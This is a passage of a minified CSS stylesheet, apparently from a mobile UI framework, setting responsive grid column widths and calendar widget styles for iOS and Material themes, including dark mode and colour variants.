16px*1.8571428571428572)/ 2.857142857142857)}.md .row.no-gap .tablet-35{width:35%}.md .row .tablet-33{width:33.333333333333336%;width:calc((100% - 16px*2)/ 3)}.md .row.no-gap .tablet-33{width:33.333333333333336%}.md .row .tablet-30{width:30%;width:calc((100% - 16px*2.3333333333333335)/ 3.3333333333333335)}.md .row.no-gap .tablet-30{width:30%}.md .row .tablet-25{width:25%;width:calc((100% - 16px*3)/ 4)}.md .row.no-gap .tablet-25{width:25%}.md .row .tablet-20{width:20%;width:calc((100% - 16px*4)/ 5)}.md .row.no-gap .tablet-20{width:20%}.md .row .tablet-15{width:15%;width:calc((100% - 16px*5.666666666666667)/ 6.666666666666667)}.md .row.no-gap .tablet-15{width:15%}.md .row .tablet-10{width:10%;width:calc((100% - 16px*9)/ 10)}.md .row.no-gap .tablet-10{width:10%}.md .row .tablet-5{width:5%;width:calc((100% - 16px*19)/ 20)}.md .row.no-gap .tablet-5{width:5%}.md .row .tablet-auto:nth-last-child(1),.md .row .tablet-auto:nth-last-child(1)~.tablet-auto{width:100%;width:calc((100% - 16px*0)/ 1)}.md .row.no-gap .tablet-auto:nth-last-child(1),.md .row.no-gap .tablet-auto:nth-last-child(1)~.tablet-auto{width:100%}.md .row .tablet-auto:nth-last-child(2),.md .row .tablet-auto:nth-last-child(2)~.tablet-auto{width:50%;width:calc((100% - 16px*1)/ 2)}.md .row.no-gap .tablet-auto:nth-last-child(2),.md .row.no-gap .tablet-auto:nth-last-child(2)~.tablet-auto{width:50%}.md .row .tablet-auto:nth-last-child(3),.md .row .tablet-auto:nth-last-child(3)~.tablet-auto{width:33.33333333%;width:calc((100% - 16px*2)/ 3)}.md .row.no-gap .tablet-auto:nth-last-child(3),.md .row.no-gap .tablet-auto:nth-last-child(3)~.tablet-auto{width:33.33333333%}.md .row .tablet-auto:nth-last-child(4),.md .row .tablet-auto:nth-last-child(4)~.tablet-auto{width:25%;width:calc((100% - 16px*3)/ 4)}.md .row.no-gap .tablet-auto:nth-last-child(4),.md .row.no-gap .tablet-auto:nth-last-child(4)~.tablet-auto{width:25%}.md .row .tablet-auto:nth-last-child(5),.md .row .tablet-auto:nth-last-child(5)~.tablet-auto{width:20%;width:calc((100% - 16px*4)/ 5)}.md .row.no-gap .tablet-auto:nth-last-child(5),.md .row.no-gap .tablet-auto:nth-last-child(5)~.tablet-auto{width:20%}.md .row .tablet-auto:nth-last-child(6),.md .row .tablet-auto:nth-last-child(6)~.tablet-auto{width:16.66666667%;width:calc((100% - 16px*5)/ 6)}.md .row.no-gap .tablet-auto:nth-last-child(6),.md .row.no-gap .tablet-auto:nth-last-child(6)~.tablet-auto{width:16.66666667%}.md .row .tablet-auto:nth-last-child(7),.md .row .tablet-auto:nth-last-child(7)~.tablet-auto{width:14.28571429%;width:calc((100% - 16px*6)/ 7)}.md .row.no-gap .tablet-auto:nth-last-child(7),.md .row.no-gap .tablet-auto:nth-last-child(7)~.tablet-auto{width:14.28571429%}.md .row .tablet-auto:nth-last-child(8),.md .row .tablet-auto:nth-last-child(8)~.tablet-auto{width:12.5%;width:calc((100% - 16px*7)/ 8)}.md .row.no-gap .tablet-auto:nth-last-child(8),.md .row.no-gap .tablet-auto:nth-last-child(8)~.tablet-auto{width:12.5%}.md .row .tablet-auto:nth-last-child(9),.md .row .tablet-auto:nth-last-child(9)~.tablet-auto{width:11.11111111%;width:calc((100% - 16px*8)/ 9)}.md .row.no-gap .tablet-auto:nth-last-child(9),.md .row.no-gap .tablet-auto:nth-last-child(9)~.tablet-auto{width:11.11111111%}.md .row .tablet-auto:nth-last-child(10),.md .row .tablet-auto:nth-last-child(10)~.tablet-auto{width:10%;width:calc((100% - 16px*9)/ 10)}.md .row.no-gap .tablet-auto:nth-last-child(10),.md .row.no-gap .tablet-auto:nth-last-child(10)~.tablet-auto{width:10%}.md .row .tablet-auto:nth-last-child(11),.md .row .tablet-auto:nth-last-child(11)~.tablet-auto{width:9.09090909%;width:calc((100% - 16px*10)/ 11)}.md .row.no-gap .tablet-auto:nth-last-child(11),.md .row.no-gap .tablet-auto:nth-last-child(11)~.tablet-auto{width:9.09090909%}.md .row .tablet-auto:nth-last-child(12),.md .row .tablet-auto:nth-last-child(12)~.tablet-auto{width:8.33333333%;width:calc((100% - 16px*11)/ 12)}.md .row.no-gap .tablet-auto:nth-last-child(12),.md .row.no-gap .tablet-auto:nth-last-child(12)~.tablet-auto{width:8.33333333%}.md .row .tablet-auto:nth-last-child(13),.md .row .tablet-auto:nth-last-child(13)~.tablet-auto{width:7.69230769%;width:calc((100% - 16px*12)/ 13)}.md .row.no-gap .tablet-auto:nth-last-child(13),.md .row.no-gap .tablet-auto:nth-last-child(13)~.tablet-auto{width:7.69230769%}.md .row .tablet-auto:nth-last-child(14),.md .row .tablet-auto:nth-last-child(14)~.tablet-auto{width:7.14285714%;width:calc((100% - 16px*13)/ 14)}.md .row.no-gap .tablet-auto:nth-last-child(14),.md .row.no-gap .tablet-auto:nth-last-child(14)~.tablet-auto{width:7.14285714%}.md .row .tablet-auto:nth-last-child(15),.md .row .tablet-auto:nth-last-child(15)~.tablet-auto{width:6.66666667%;width:calc((100% - 16px*14)/ 15)}.md .row.no-gap .tablet-auto:nth-last-child(15),.md .row.no-gap .tablet-auto:nth-last-child(15)~.tablet-auto{width:6.66666667%}.md .row .tablet-auto:nth-last-child(16),.md .row .tablet-auto:nth-last-child(16)~.tablet-auto{width:6.25%;width:calc((100% - 16px*15)/ 16)}.md .row.no-gap .tablet-auto:nth-last-child(16),.md .row.no-gap .tablet-auto:nth-last-child(16)~.tablet-auto{width:6.25%}.md .row .tablet-auto:nth-last-child(17),.md .row .tablet-auto:nth-last-child(17)~.tablet-auto{width:5.88235294%;width:calc((100% - 16px*16)/ 17)}.md .row.no-gap .tablet-auto:nth-last-child(17),.md .row.no-gap .tablet-auto:nth-last-child(17)~.tablet-auto{width:5.88235294%}.md .row .tablet-auto:nth-last-child(18),.md .row .tablet-auto:nth-last-child(18)~.tablet-auto{width:5.55555556%;width:calc((100% - 16px*17)/ 18)}.md .row.no-gap .tablet-auto:nth-last-child(18),.md .row.no-gap .tablet-auto:nth-last-child(18)~.tablet-auto{width:5.55555556%}.md .row .tablet-auto:nth-last-child(19),.md .row .tablet-auto:nth-last-child(19)~.tablet-auto{width:5.26315789%;width:calc((100% - 16px*18)/ 19)}.md .row.no-gap .tablet-auto:nth-last-child(19),.md .row.no-gap .tablet-auto:nth-last-child(19)~.tablet-auto{width:5.26315789%}.md .row .tablet-auto:nth-last-child(20),.md .row .tablet-auto:nth-last-child(20)~.tablet-auto{width:5%;width:calc((100% - 16px*19)/ 20)}.md .row.no-gap .tablet-auto:nth-last-child(20),.md .row.no-gap .tablet-auto:nth-last-child(20)~.tablet-auto{width:5%}.md .row .tablet-auto:nth-last-child(21),.md .row .tablet-auto:nth-last-child(21)~.tablet-auto{width:4.76190476%;width:calc((100% - 16px*20)/ 21)}.md .row.no-gap .tablet-auto:nth-last-child(21),.md .row.no-gap .tablet-auto:nth-last-child(21)~.tablet-auto{width:4.76190476%}}@media (min-width:1025px){.md .row .desktop-100{width:100%;width:calc((100% - 16px*0)/ 1)}.md .row.no-gap .desktop-100{width:100%}.md .row .desktop-95{width:95%;width:calc((100% - 16px*.05263157894736836)/ 1.0526315789473684)}.md .row.no-gap .desktop-95{width:95%}.md .row .desktop-90{width:90%;width:calc((100% - 16px*.11111111111111116)/ 1.1111111111111112)}.md .row.no-gap .desktop-90{width:90%}.md .row .desktop-85{width:85%;width:calc((100% - 16px*.17647058823529416)/ 1.1764705882352942)}.md .row.no-gap .desktop-85{width:85%}.md .row .desktop-80{width:80%;width:calc((100% - 16px*.25)/ 1.25)}.md .row.no-gap .desktop-80{width:80%}.md .row .desktop-75{width:75%;width:calc((100% - 16px*.33333333333333326)/ 1.3333333333333333)}.md .row.no-gap .desktop-75{width:75%}.md .row .desktop-70{width:70%;width:calc((100% - 16px*.4285714285714286)/ 1.4285714285714286)}.md .row.no-gap .desktop-70{width:70%}.md .row .desktop-66{width:66.66666666666666%;width:calc((100% - 16px*.5000000000000002)/ 1.5000000000000002)}.md .row.no-gap .desktop-66{width:66.66666666666666%}.md .row .desktop-65{width:65%;width:calc((100% - 16px*.5384615384615385)/ 1.5384615384615385)}.md .row.no-gap .desktop-65{width:65%}.md .row .desktop-60{width:60%;width:calc((100% - 16px*.6666666666666667)/ 1.6666666666666667)}.md .row.no-gap .desktop-60{width:60%}.md .row .desktop-55{width:55%;width:calc((100% - 16px*.8181818181818181)/ 1.8181818181818181)}.md .row.no-gap .desktop-55{width:55%}.md .row .desktop-50{width:50%;width:calc((100% - 16px*1)/ 2)}.md .row.no-gap .desktop-50{width:50%}.md .row .desktop-45{width:45%;width:calc((100% - 16px*1.2222222222222223)/ 2.2222222222222223)}.md .row.no-gap .desktop-45{width:45%}.md .row .desktop-40{width:40%;width:calc((100% - 16px*1.5)/ 2.5)}.md .row.no-gap .desktop-40{width:40%}.md .row .desktop-35{width:35%;width:calc((100% - 16px*1.8571428571428572)/ 2.857142857142857)}.md .row.no-gap .desktop-35{width:35%}.md .row .desktop-33{width:33.333333333333336%;width:calc((100% - 16px*2)/ 3)}.md .row.no-gap .desktop-33{width:33.333333333333336%}.md .row .desktop-30{width:30%;width:calc((100% - 16px*2.3333333333333335)/ 3.3333333333333335)}.md .row.no-gap .desktop-30{width:30%}.md .row .desktop-25{width:25%;width:calc((100% - 16px*3)/ 4)}.md .row.no-gap .desktop-25{width:25%}.md .row .desktop-20{width:20%;width:calc((100% - 16px*4)/ 5)}.md .row.no-gap .desktop-20{width:20%}.md .row .desktop-15{width:15%;width:calc((100% - 16px*5.666666666666667)/ 6.666666666666667)}.md .row.no-gap .desktop-15{width:15%}.md .row .desktop-10{width:10%;width:calc((100% - 16px*9)/ 10)}.md .row.no-gap .desktop-10{width:10%}.md .row .desktop-5{width:5%;width:calc((100% - 16px*19)/ 20)}.md .row.no-gap .desktop-5{width:5%}.md .row .desktop-auto:nth-last-child(1),.md .row .desktop-auto:nth-last-child(1)~.desktop-auto{width:100%;width:calc((100% - 16px*0)/ 1)}.md .row.no-gap .desktop-auto:nth-last-child(1),.md .row.no-gap .desktop-auto:nth-last-child(1)~.desktop-auto{width:100%}.md .row .desktop-auto:nth-last-child(2),.md .row .desktop-auto:nth-last-child(2)~.desktop-auto{width:50%;width:calc((100% - 16px*1)/ 2)}.md .row.no-gap .desktop-auto:nth-last-child(2),.md .row.no-gap .desktop-auto:nth-last-child(2)~.desktop-auto{width:50%}.md .row .desktop-auto:nth-last-child(3),.md .row .desktop-auto:nth-last-child(3)~.desktop-auto{width:33.33333333%;width:calc((100% - 16px*2)/ 3)}.md .row.no-gap .desktop-auto:nth-last-child(3),.md .row.no-gap .desktop-auto:nth-last-child(3)~.desktop-auto{width:33.33333333%}.md .row .desktop-auto:nth-last-child(4),.md .row .desktop-auto:nth-last-child(4)~.desktop-auto{width:25%;width:calc((100% - 16px*3)/ 4)}.md .row.no-gap .desktop-auto:nth-last-child(4),.md .row.no-gap .desktop-auto:nth-last-child(4)~.desktop-auto{width:25%}.md .row .desktop-auto:nth-last-child(5),.md .row .desktop-auto:nth-last-child(5)~.desktop-auto{width:20%;width:calc((100% - 16px*4)/ 5)}.md .row.no-gap .desktop-auto:nth-last-child(5),.md .row.no-gap .desktop-auto:nth-last-child(5)~.desktop-auto{width:20%}.md .row .desktop-auto:nth-last-child(6),.md .row .desktop-auto:nth-last-child(6)~.desktop-auto{width:16.66666667%;width:calc((100% - 16px*5)/ 6)}.md .row.no-gap .desktop-auto:nth-last-child(6),.md .row.no-gap .desktop-auto:nth-last-child(6)~.desktop-auto{width:16.66666667%}.md .row .desktop-auto:nth-last-child(7),.md .row .desktop-auto:nth-last-child(7)~.desktop-auto{width:14.28571429%;width:calc((100% - 16px*6)/ 7)}.md .row.no-gap .desktop-auto:nth-last-child(7),.md .row.no-gap .desktop-auto:nth-last-child(7)~.desktop-auto{width:14.28571429%}.md .row .desktop-auto:nth-last-child(8),.md .row .desktop-auto:nth-last-child(8)~.desktop-auto{width:12.5%;width:calc((100% - 16px*7)/ 8)}.md .row.no-gap .desktop-auto:nth-last-child(8),.md .row.no-gap .desktop-auto:nth-last-child(8)~.desktop-auto{width:12.5%}.md .row .desktop-auto:nth-last-child(9),.md .row .desktop-auto:nth-last-child(9)~.desktop-auto{width:11.11111111%;width:calc((100% - 16px*8)/ 9)}.md .row.no-gap .desktop-auto:nth-last-child(9),.md .row.no-gap .desktop-auto:nth-last-child(9)~.desktop-auto{width:11.11111111%}.md .row .desktop-auto:nth-last-child(10),.md .row .desktop-auto:nth-last-child(10)~.desktop-auto{width:10%;width:calc((100% - 16px*9)/ 10)}.md .row.no-gap .desktop-auto:nth-last-child(10),.md .row.no-gap .desktop-auto:nth-last-child(10)~.desktop-auto{width:10%}.md .row .desktop-auto:nth-last-child(11),.md .row .desktop-auto:nth-last-child(11)~.desktop-auto{width:9.09090909%;width:calc((100% - 16px*10)/ 11)}.md .row.no-gap .desktop-auto:nth-last-child(11),.md .row.no-gap .desktop-auto:nth-last-child(11)~.desktop-auto{width:9.09090909%}.md .row .desktop-auto:nth-last-child(12),.md .row .desktop-auto:nth-last-child(12)~.desktop-auto{width:8.33333333%;width:calc((100% - 16px*11)/ 12)}.md .row.no-gap .desktop-auto:nth-last-child(12),.md .row.no-gap .desktop-auto:nth-last-child(12)~.desktop-auto{width:8.33333333%}.md .row .desktop-auto:nth-last-child(13),.md .row .desktop-auto:nth-last-child(13)~.desktop-auto{width:7.69230769%;width:calc((100% - 16px*12)/ 13)}.md .row.no-gap .desktop-auto:nth-last-child(13),.md .row.no-gap .desktop-auto:nth-last-child(13)~.desktop-auto{width:7.69230769%}.md .row .desktop-auto:nth-last-child(14),.md .row .desktop-auto:nth-last-child(14)~.desktop-auto{width:7.14285714%;width:calc((100% - 16px*13)/ 14)}.md .row.no-gap .desktop-auto:nth-last-child(14),.md .row.no-gap .desktop-auto:nth-last-child(14)~.desktop-auto{width:7.14285714%}.md .row .desktop-auto:nth-last-child(15),.md .row .desktop-auto:nth-last-child(15)~.desktop-auto{width:6.66666667%;width:calc((100% - 16px*14)/ 15)}.md .row.no-gap .desktop-auto:nth-last-child(15),.md .row.no-gap .desktop-auto:nth-last-child(15)~.desktop-auto{width:6.66666667%}.md .row .desktop-auto:nth-last-child(16),.md .row .desktop-auto:nth-last-child(16)~.desktop-auto{width:6.25%;width:calc((100% - 16px*15)/ 16)}.md .row.no-gap .desktop-auto:nth-last-child(16),.md .row.no-gap .desktop-auto:nth-last-child(16)~.desktop-auto{width:6.25%}.md .row .desktop-auto:nth-last-child(17),.md .row .desktop-auto:nth-last-child(17)~.desktop-auto{width:5.88235294%;width:calc((100% - 16px*16)/ 17)}.md .row.no-gap .desktop-auto:nth-last-child(17),.md .row.no-gap .desktop-auto:nth-last-child(17)~.desktop-auto{width:5.88235294%}.md .row .desktop-auto:nth-last-child(18),.md .row .desktop-auto:nth-last-child(18)~.desktop-auto{width:5.55555556%;width:calc((100% - 16px*17)/ 18)}.md .row.no-gap .desktop-auto:nth-last-child(18),.md .row.no-gap .desktop-auto:nth-last-child(18)~.desktop-auto{width:5.55555556%}.md .row .desktop-auto:nth-last-child(19),.md .row .desktop-auto:nth-last-child(19)~.desktop-auto{width:5.26315789%;width:calc((100% - 16px*18)/ 19)}.md .row.no-gap .desktop-auto:nth-last-child(19),.md .row.no-gap .desktop-auto:nth-last-child(19)~.desktop-auto{width:5.26315789%}.md .row .desktop-auto:nth-last-child(20),.md .row .desktop-auto:nth-last-child(20)~.desktop-auto{width:5%;width:calc((100% - 16px*19)/ 20)}.md .row.no-gap .desktop-auto:nth-last-child(20),.md .row.no-gap .desktop-auto:nth-last-child(20)~.desktop-auto{width:5%}.md .row .desktop-auto:nth-last-child(21),.md .row .desktop-auto:nth-last-child(21)~.desktop-auto{width:4.76190476%;width:calc((100% - 16px*20)/ 21)}.md .row.no-gap .desktop-auto:nth-last-child(21),.md .row.no-gap .desktop-auto:nth-last-child(21)~.desktop-auto{width:4.76190476%}}.calendar{overflow:hidden;height:320px;width:100%;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column}.calendar.modal-in{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}@media (orientation:landscape) and (max-height:415px){.calendar.calendar-sheet{height:220px}.calendar.calendar-modal{height:calc(100vh - 44px)}}.calendar.calendar-inline,.calendar.calendar-popover .calendar{position:relative}.calendar-modal{position:absolute;height:420px;overflow:hidden;top:50%;left:50%;min-width:300px;max-width:380px;-webkit-transform:translate3d(-50%,100%,0);transform:translate3d(-50%,100%,0);-webkit-transition-property:-webkit-transform;transition-property:-webkit-transform;transition-property:transform;transition-property:transform,-webkit-transform;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;z-index:12000;background:#fff;width:90%;border-radius:4px;-webkit-box-shadow:0 19px 38px rgba(0,0,0,.3),0 15px 12px rgba(0,0,0,.22);box-shadow:0 19px 38px rgba(0,0,0,.3),0 15px 12px rgba(0,0,0,.22)}.calendar-modal.modal-in,.calendar-modal.modal-out{-webkit-transition-duration:.4s;transition-duration:.4s}.calendar-modal.modal-in{-webkit-transform:translate3d(-50%,-50%,0);transform:translate3d(-50%,-50%,0)}.calendar-modal.modal-out{-webkit-transform:translate3d(-50%,100%,0);transform:translate3d(-50%,100%,0)}.calendar-popover{width:320px}.calendar-popover .calendar{height:320px}.calendar-week-header{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-sizing:border-box;box-sizing:border-box;position:relative;font-size:11px}.calendar-week-header .calendar-week-day{-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1;width:14.28571429%;width:calc(100% / 7);text-align:center}.calendar-months{width:100%;height:100%;overflow:hidden;position:relative;-webkit-flex-shrink:10;-ms-flex-negative:10;flex-shrink:10}.calendar-months-wrapper{position:relative;width:100%;height:100%;-webkit-transition:.3s;transition:.3s}.calendar-month{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;width:100%;height:100%;position:absolute;left:0;top:0}.calendar-row{height:16.66666667%;height:calc(100% / 6);display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1;width:100%;position:relative;-webkit-box-sizing:border-box;box-sizing:border-box}.calendar-day{-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-sizing:border-box;box-sizing:border-box;width:14.28571429%;width:calc(100% / 7);text-align:center;cursor:pointer;z-index:20;color:#000;height:100%}.calendar-day.calendar-day-next,.calendar-day.calendar-day-prev{color:#b8b8b8}.calendar-day.calendar-day-disabled{color:#d4d4d4;cursor:auto}.calendar-day.calendar-day-selected span{color:#fff}.calendar-day.calendar-day-has-events span:after{content:'';width:4px;height:4px;border-radius:50%;position:absolute;margin-left:-2px;left:50%;bottom:1px}.calendar-day span{display:inline-block;border-radius:100%;position:relative}.calendar-range .calendar-day.calendar-day-selected{-webkit-box-align:stretch;-webkit-align-items:stretch;-ms-flex-align:stretch;align-items:stretch;-webkit-align-content:stretch;-ms-flex-line-pack:stretch;align-content:stretch}.calendar-range .calendar-day.calendar-day-selected span{width:100%;border-radius:0;height:auto;text-align:center;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center}.calendar-month-selector,.calendar-year-selector{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;width:50%;max-width:200px;-webkit-flex-shrink:10;-ms-flex-negative:10;flex-shrink:10}.calendar-month-selector span,.calendar-year-selector span{-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1;position:relative;overflow:hidden;text-overflow:ellipsis}.ios .calendar-header{height:44px;background:#f7f7f8;font-size:17px;line-height:44px;font-weight:600;padding:0 8px;position:relative;overflow:hidden;white-space:nowrap;text-overflow:ellipsis;-webkit-box-sizing:border-box;box-sizing:border-box}.ios .calendar-footer{position:relative;padding:0 8px;width:100%;height:44px;background:#f7f7f8;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:end;-webkit-justify-content:flex-end;-ms-flex-pack:end;justify-content:flex-end;-webkit-box-sizing:border-box;box-sizing:border-box;font-size:17px}.ios .calendar-footer:before{content:'';position:absolute;background-color:#c4c4c4;display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}.ios.device-pixel-ratio-2 .calendar-footer:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .calendar-footer:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .calendar-week-header{background:#f7f7f8;height:18px}.ios .calendar-week-header .calendar-week-day{line-height:18px}.ios .calendar-row:before{content:'';position:absolute;background-color:#c4c4c4;display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}.ios.device-pixel-ratio-2 .calendar-row:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .calendar-row:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .calendar-day{font-size:15px}.ios .calendar-day.calendar-day-today span{background:#e3e3e3}.ios .calendar-day.calendar-day-has-events span:after{background:#007aff}.ios .calendar-day.calendar-day-has-events.calendar-day-selected span:after{background-color:#fff}.ios .calendar-day.calendar-day-selected span{background:#007aff}.ios .calendar-day span{width:30px;height:30px;line-height:30px}.ios .calendar-month-selector a.icon-only,.ios .calendar-year-selector a.icon-only{min-width:36px}.ios .calendar-sheet:before{content:'';position:absolute;background-color:#929499;display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}.ios.device-pixel-ratio-2 .calendar-sheet:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .calendar-sheet:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .calendar-sheet{background:#fff}.ios .calendar-sheet:before{z-index:600}.ios .calendar-sheet .toolbar:before{display:none!important}.ios .calendar-modal .toolbar:before,.ios .calendar-popover .toolbar:before{display:none!important}.ios .calendar-modal .calendar-months:first-child .calendar-row:first-child:before,.ios .calendar-popover .calendar-months:first-child .calendar-row:first-child:before{display:none!important}.ios .calendar-popover .toolbar{background:0 0}.ios .calendar-popover .calendar-footer,.ios .calendar-popover .calendar-header,.ios .calendar-popover .calendar-week-header{background:0 0}.ios.device-iphone-x .calendar-sheet .sheet-modal-inner{margin-bottom:constant(safe-area-inset-bottom);margin-bottom:env(safe-area-inset-bottom)}@media (orientation:landscape){.ios.device-iphone-x .ios-edges .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-row,.ios.device-iphone-x .ios-edges .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-week-header,.ios.device-iphone-x .ios-edges.calendar .calendar-row,.ios.device-iphone-x .ios-edges.calendar .calendar-week-header,.ios.device-iphone-x .ios-left-edge .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-row,.ios.device-iphone-x .ios-left-edge .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-week-header,.ios.device-iphone-x .ios-left-edge.calendar .calendar-row,.ios.device-iphone-x .ios-left-edge.calendar .calendar-week-header,.ios.device-iphone-x .panel-left .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-row,.ios.device-iphone-x .panel-left .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-week-header,.ios.device-iphone-x .panel-left.calendar .calendar-row,.ios.device-iphone-x .panel-left.calendar .calendar-week-header,.ios.device-iphone-x .popup .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-row,.ios.device-iphone-x .popup .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-week-header,.ios.device-iphone-x .popup.calendar .calendar-row,.ios.device-iphone-x .popup.calendar .calendar-week-header,.ios.device-iphone-x .sheet-modal .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-row,.ios.device-iphone-x .sheet-modal .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-week-header,.ios.device-iphone-x .sheet-modal.calendar .calendar-row,.ios.device-iphone-x .sheet-modal.calendar .calendar-week-header{padding-left:constant(safe-area-inset-left);padding-left:env(safe-area-inset-left)}.ios.device-iphone-x .ios-edges .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-row,.ios.device-iphone-x .ios-edges .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-week-header,.ios.device-iphone-x .ios-edges.calendar .calendar-row,.ios.device-iphone-x .ios-edges.calendar .calendar-week-header,.ios.device-iphone-x .ios-right-edge .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-row,.ios.device-iphone-x .ios-right-edge .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-week-header,.ios.device-iphone-x .ios-right-edge.calendar .calendar-row,.ios.device-iphone-x .ios-right-edge.calendar .calendar-week-header,.ios.device-iphone-x .panel-right .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-row,.ios.device-iphone-x .panel-right .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-week-header,.ios.device-iphone-x .panel-right.calendar .calendar-row,.ios.device-iphone-x .panel-right.calendar .calendar-week-header,.ios.device-iphone-x .popup .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-row,.ios.device-iphone-x .popup .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-week-header,.ios.device-iphone-x .popup.calendar .calendar-row,.ios.device-iphone-x .popup.calendar .calendar-week-header,.ios.device-iphone-x .sheet-modal .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-row,.ios.device-iphone-x .sheet-modal .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-week-header,.ios.device-iphone-x .sheet-modal.calendar .calendar-row,.ios.device-iphone-x .sheet-modal.calendar .calendar-week-header{padding-right:constant(safe-area-inset-right);padding-right:env(safe-area-inset-right)}}.calendar.ios .theme-dark .calendar-footer,.calendar.ios .theme-dark .calendar-header,.calendar.ios .theme-dark .calendar-week-header,.ios .theme-dark .calendar .calendar-footer,.ios .theme-dark .calendar .calendar-header,.ios .theme-dark .calendar .calendar-week-header{background-color:#1b1b1b}.ios .theme-dark .calendar-popover .calendar-week-header{background-color:transparent}.ios .theme-dark .calendar-footer:before,.ios .theme-dark .calendar-row:before,.ios .theme-dark .calendar-sheet:before{background-color:#282829}.ios .theme-dark .calendar-day{color:#fff}.ios .theme-dark .calendar-day.calendar-day-today:not(.calendar-day-selected) span{background:#333}.ios .theme-dark .calendar-day.calendar-day-disabled{color:#8e8e93}.ios .theme-dark .calendar-day.calendar-day-next,.ios .theme-dark .calendar-day.calendar-day-prev{color:#555}.calendar-modal.ios .theme-dark,.ios .theme-dark .calendar-modal,.ios .theme-dark .calendar-sheet{background:#171717}.ios .color-red .calendar-day.calendar-day-selected span,.ios .color-theme-red .calendar-day.calendar-day-selected span{background:#ff3b30}.ios .color-green .calendar-day.calendar-day-selected span,.ios .color-theme-green .calendar-day.calendar-day-selected span{background:#4cd964}.ios .color-blue .calendar-day.calendar-day-selected span,.ios .color-theme-blue .calendar-day.calendar-day-selected span{background:#007aff}.ios .color-pink .calendar-day.calendar-day-selected span,.ios .color-theme-pink .calendar-day.calendar-day-selected span{background:#ff2d55}.ios .color-theme-yellow .calendar-day.calendar-day-selected span,.ios .color-yellow .calendar-day.calendar-day-selected span{background:#fc0}.ios .color-orange .calendar-day.calendar-day-selected span,.ios .color-theme-orange .calendar-day.calendar-day-selected span{background:#ff9500}.ios .color-gray .calendar-day.calendar-day-selected span,.ios .color-theme-gray .calendar-day.calendar-day-selected span{background:#8e8e93}.ios .color-theme-white .calendar-day.calendar-day-selected span,.ios .color-white .calendar-day.calendar-day-selected span{background:#fff}.ios .color-black .calendar-day.calendar-day-selected span,.ios .color-theme-black .calendar-day.calendar-day-selected span{background:#000}.md .calendar-header{height:56px;background:#2196f3;font-size:20px;line-height:56px;padding:0 24px;color:#fff;position:relative;overflow:hidden;white-space:nowrap;text-overflow:ellipsis;-webkit-box-sizing:border-box;box-sizing:border-box}.md .calendar-footer{position:relative;width:100%;height:48px;padding:6px 8px;overflow:hidden;-webkit-box-sizing:border-box;box-sizing:border-box;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:end;-webkit-justify-content:flex-end;-ms-flex-pack:end;justify-content:flex-end}.md .calendar .toolbar{background:0 0!important;color:#212121}.md .calendar .toolbar a.link:before{content:'';width:152%;height:152%;position:absolute;left:-26%;top:-26%;background-image:-webkit-radial-gradient(center,circle,rgba(0,0,0,.15) 